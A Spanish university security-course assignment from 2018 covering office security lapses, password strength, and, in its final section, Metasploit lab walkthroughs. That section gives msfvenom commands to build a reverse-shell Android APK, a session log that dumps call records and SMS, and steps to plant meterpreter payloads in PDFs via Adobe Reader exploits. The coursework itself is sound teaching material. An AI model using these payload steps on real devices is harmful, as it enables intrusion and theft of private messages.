

UNPSJB

LICENCIATURA EN SISTEMAS OPGCPI

ADMINISTRACIÓN DE REDES Y SEGURIDAD

---

# Trabajo Práctico 1

## Concientización

---

Cátedra

Lic. Bruno Damián Zappellini

Integrantes:

Luciano Serruya Aloisi

28 de septiembre de 2018



# Índice

<b>1. Caso de estudio</b>	<b>2</b>
1.1. Situaciones de inseguridad identificadas . . . . .	2
1.2. Fallas evidenciadas . . . . .	3
1.3. Medidas de seguridad . . . . .	4
<b>2. Análisis del video “Escritorio limpio”</b>	<b>4</b>
<b>3. Claves</b>	<b>5</b>
3.1. Análisis de contraseñas . . . . .	5
3.2. Vulnerabilidad en Internet . . . . .	5
3.3. Medidas de seguridad personales . . . . .	6
3.4. Acciones para la concientización . . . . .	6
<b>4. Ataques</b>	<b>6</b>
4.1. Android . . . . .	6
4.2. Windows . . . . .	8

# 1. Caso de estudio

## 1.1. Situaciones de inseguridad identificadas

Lo primero que se puede asumir leyendo el relato de *Un día en la oficina de Carlitos* es que el personaje no utiliza una contraseña muy segura para su computadora del trabajo (debido principalmente al largo de la misma). Acto seguido, el personaje se retira de su oficina dejando su computadora con una sesión iniciada, permitiendo que cualquiera que entre a su oficina pueda usarla como si fuese él (posible caso de *usurpación de identidad*).

Una vez que regresa a la oficina, se queja de toda la publicidad que le llega al mail (claro ejemplo de *SPAM*, y hasta se podría llegar a dar que entre alguno de esos mensajes haya alguno malintencionado). Seguidamente abre un mensaje *enviado con la cuenta* de José, su cuñado. Este mensaje contiene como adjunto un archivo ejecutable de Windows, diciendo que es una foto. Con respecto a esta situación, se pueden destacar varias cuestiones:

- El mensaje puede no haber sido enviado por el dueño de la cuenta. En caso de que algún dispositivo en el cual José tenga su cuenta de correo electrónico vinculada y haya sufrido el ataque de un *malware*, dicho mensaje puede no haber sido enviado por él, sino por el programa malicioso, haciendo que el mismo mensaje sea malintencionado.
- El mensaje se puede tratar de un *HOAX*, también. Con la excusa de que incluye una imagen cómica, los distintos remitente van enviando el mensaje a sus contactos y así manteniendo la cadena.
- El hecho de que una imagen tenga la extensión de un archivo ejecutable levanta muchas sospechas, induciendo a pensar que puede ser en sí un programa malicioso.

Después de la conversación con el Dr. Roberto Secchi narrada en el anexo, el personaje intenta desesperadamente conseguir el documento solicitado. Para ello prueba con varias contraseñas para así iniciar sesión en la computadora de una compañera de oficina (la cual no estaba presente ese día). Eso se trata de una grave violación a la privacidad de su compañera. Al no tener éxito, repite la situación con la computadora de otro compañero, logrando entrar debido a una contraseña muy débil y abiertamente conocida por sus pares.

Una vez que consiguió ingresar en la computadora, recupera el documento necesario y se lo envía al Dr. Secchi, saliendo así de un apuro.

## 1.2. Fallas evidenciadas

8:20

- a) Elección de contraseña insegura.
- b) Utilización de correo electrónico inseguro.
- c) Ingeniería Social
- d) a y c.

**Respuesta:** d).

9:47

- a) SPAM
- b) Adjunto de archivos ejecutables (photo.exe)
- c) HOAX
- d) a y b.

**Respuesta:** d).

9:57

- a) Elección de contraseña segura.
- b) Ingeniería Social.
- c) HOAX.
- d) a, b y c.

**Respuesta:** a).

10:00

- a) Usurpación de Identidad.
- b) Ingeniería Social.
- c) Elección de contraseña insegura.
- d) a, b y c

**Respuesta:** d).

### 1.3. Medidas de seguridad

Con respecto a una de las primeras situaciones identificadas (el personaje del relato deja su computadora con la sesión iniciada y se retira de la oficina), una posible solución sería que todas las computadoras de la oficina se bloqueen (cierren la sesión, requiriendo de nuevo la contraseña) dentro de un breve período de inactividad.

Para las situaciones en las que el personaje utilizó las computadoras de los compañeros, una solución podría ser establecer una política de seguridad la cual dictamine un *formato* a cumplir para las contraseñas (para generar contraseñas seguras), y que dichas contraseñas se vayan cambiando periódicamente.

## 2. Análisis del video “Escritorio limpio”

- No se toman medidas de seguridad física para almacenar documentos importantes. El *backup* del proyecto en el cual estaba trabajando el personaje es dejado encima del escritorio, más allá de haberle dicho a su superior que lo iba a guardar en una caja fuerte. Sobre el final del video se puede ver cómo la cámara de seguridad capturó a varias personas entrando a la oficina y aprovechándose de estos descuidos.
- Uso de contraseñas débiles, y mal manejo de las mismas. El personaje deja anotada su contraseña en su monitor, permitiendo que cualquier persona que entre a su oficina la conozca. Cabe destacar también que el personal de administración de redes y de seguridad de la oficina tiene acceso a su contraseña.

- El personaje es víctima de *Trashing*. Al final del video se ve cómo el personal de limpieza revisa en su basura y retira documentos que no fueron correctamente desechados (destruidos).
- Pérdida de copias de resguardo. El *backup* del proyecto es retirado de la oficina inadvertidamente.

### 3. Claves

El principal problema de proteger información con claves débiles es lo fácil que se pueden conseguir esas claves. Ya sea probando algunas combinaciones habituales (como “12345”, “admin”, la fecha de nacimiento de la persona, entre otros) o con herramientas que automatizan ese trabajo (ya sea con diccionarios o mediante fuerza bruta).

#### 3.1. Análisis de contraseñas

Utilizando el sitio [https://www.segu-info.com.ar/proteccion/fortaleza\\_clave.htm](https://www.segu-info.com.ar/proteccion/fortaleza_clave.htm) se obtuvieron los siguientes resultados:

- La contraseña admin tiene una puntuación de 7 %
- La contraseña ARyS la mejor materia! (utilizando espacios) logra una puntuación de 100 %

#### 3.2. Vulnerabilidad en Internet

*Ud como usuario de Internet, ¿cree que es vulnerable? En caso afirmativo, especifique por qué, y qué cree que podría hacer para minimizar los riesgos.*

Uno siempre puede ser vulnerable mientras navega en Internet, principalmente cuando visita sitios cuyo *medio de comunicación* no es seguro (sitios que usan HTTP en vez de HTTPS). De esta forma se está expuesto a que la comunicación con el sitio sea interceptada y pueda verse perjudicado. Para paliar esta situación, los navegadores actuales indican cuándo se está visitando un sitio *no seguro*.

### 3.3. Medidas de seguridad personales

*¿Qué procedimientos adopta en pos de la seguridad/privacidad?*

Principalmente el uso de contraseñas seguras (compuestas tanto por caracteres mayúsculas y minúsculas, como por número y símbolos), también encriptación para las particiones del disco duro de la PC personal (partición encriptada con *LUKS*).

### 3.4. Acciones para la concientización

Una acción de concientización interesante podría ser la demostración de qué tan fácil puede llegar a ser descubrir una contraseña habitual, mediante el uso de diccionarios y/o fuerza bruta.

## 4. Ataques

### 4.1. Android

*Explique el procedimiento para la ejecución del componente meterpreter en un dispositivo/computadora remota a través de msfvenom*

Para poder ejecutar una aplicación con un *shell reverso*<sup>1</sup> en un dispositivo Android, primero se debe crear un archivo *.apk* (archivo instalable en un Android) que contenga el código necesario para establecer la conexión con otra computadora. Para ello se usa el programa *msfvenom* de la siguiente manera:

```
1      msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP  
> LPORT=<PUERTO_DE_ESCUCHA> R> ~/app.apk
```

- `-p android/meterpreter/reverse_tcp`: con este parámetro le indicamos a *msfvenom* que el *payload* (código adicional) que queremos inyectar en la aplicación *app.apk* realice una conexión TCP con la IP `<IP>` al puerto `<PUERTO_DE_ESCUCHA>`
- `LHOST`: dirección IP a la cual conectarse

<sup>1</sup>Se establece una conexión entre dos computadoras, la que inicia la conexión dirige una terminal interactiva hacia el destino  
[1]

- LPORT: puerto al cual establecer la conexión

Una vez instalada la aplicación en el dispositivo Android al cual se desea atacar, se debe ejecutar la consola de *Metasploit* (con el comando `msfconsole`), e ingresar lo siguiente:

- `use exploit/multi/handler`
- `set payload android/meterpreter/reverse_tcp`
- `set LHOST <IP>`
- `set LPORT <PUERTO_DE_ESCUCHA>`
- `exploit`



```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.0.5
LHOST => 192.168.0.5
msf exploit(multi/handler) > set LPORT 12345
LPORT => 12345
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.5:12345
[*] Sending stage (70565 bytes) to 192.168.0.4
[*] Meterpreter session 1 opened (192.168.0.5:12345 -> 192.168.0.4:37259) at 2018-09-26 21:17:36 -0300
meterpreter > dump_calllog
[*] Fetching 295 entries
[*] Call log saved to calllog_dump_20180926211745.txt
meterpreter > dump_sms
[*] Fetching 112 sms messages
[*] SMS messages saved to: sms_dump_20180926211754.txt
meterpreter > send_sms -t "Hola jeje - enviado desde meterpreter" -d "2804628405"
[+] SMS sent - Transmission successful
meterpreter > send_sms -t "Hola jeje - enviado desde meterpreter" -d "2804505713"
[+] SMS sent - Transmission successful
meterpreter >
```

Figura 1: Conexión desde `msfconsole` a un dispositivo Android



## 4.2. Windows

*Basado en ejemplo anterior, como realizaría el mismo ataque contra un equipo Microsoft Windows. Puede utilizar un archivo PDF como vector de ataque*

Dentro de la suite de programas de Adobe, uno de los más usado es su lector de PDFs, **Adobe Reader**. Este programa posee varias vulnerabilidades de las cuales uno se puede aprovechar para inyectar código malicioso en un archivo PDF. De las vulnerabilidades disponibles, a continuación se mostrará cómo explotar dos de ellas disponibles en Metasploit.

La primera de ellas, se trata de un *desbordamiento del buffer* (*buffer overflow*) de la pila de funciones de JavaScript con la función `util.printf()` [2]. Para inyectar el código en el archivo PDF se debe ejecutar los siguientes comandos en la consola de `msfconsole`:

- `use exploit/windows/fileformat/adobe_utilprintf`
- `set FILENAME <NOMBRE_DEL_ARCHIVO>.pdf`
- `set payload windows/meterpreter/reverse_tcp`
- `set LHOST <IP>`
- `set LPORT <PUERTO_DE_ESCUCHA>`
- `exploit`

Como se puede ver en los comandos, se está agregando un *payload* que establece una conexión TCP con una computadora que estará esperando tal conexión. De esta forma, al igual que con el ataque a un dispositivo Android, establecemos una *shell reversa*.

Una vez creado el archivo PDF y abierto en la máquina que será la víctima, se deben realizar los mismos pasos que en el ataque a Android para conectarse con el dispositivo, pero cambiando el *payload*

- `use exploit/multi/handler`
- `set payload windows/meterpreter/reverse_tcp`
- `set LHOST <IP>`
- `set LPORT <PUERTO_DE_ESCUCHA>`

- `exploit`

La segunda vulnerabilidad a experimentar se puede hallar en Metasploit como “Adobe PDF Embedded” [3]. Los pasos para inyectarla en un archivo PDF muy similares a los realizados con la anterior.

Primero, se debe armar el PDF. Para ello, se necesita un archivo PDF de entrada, al cual inyectarle el *payload*. Desde la consola de `msfconsole`, ejecutar los siguientes comandos:

- `use exploit/windows/fileformat/adobe_pdf_embedded_exe`
- `set payload windows/meterpreter/reverse_tcp`
- `set INFILENAME <ARCHIVO_ENTRADA.pdf>`
- `set FILENAME <ARCHIVO_SALIDA.pdf>`
- `set LHOST <IP>`
- `set LPORT <PUERTO_DE_ESCUCHA>`
- `exploit`

Creado el archivo, es cuestión de abrir en la máquina objetivo y configurar una máquina a la cual se conectará la primera (el procedimiento es el mismo a la vulnerabilidad anterior).

## Referencias

- [1] Mike Fettis. *Reverse shell !?! Ago. de 2017*. URL: <https://hackernoon.com/reverse-shell-cf154df6ee6bd>.
- [2] Offensive Security. *Client Side Exploits in Metasploit*. 2018. URL: <https://www.offensive-security.com/metasploit-unleashed/client-side-exploits/>.
- [3] Null-Byte. Wonder How to. *How to Embed a Backdoor Connection in an Innocent-Looking PDF*. Ene. de 2014. URL: <https://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/>.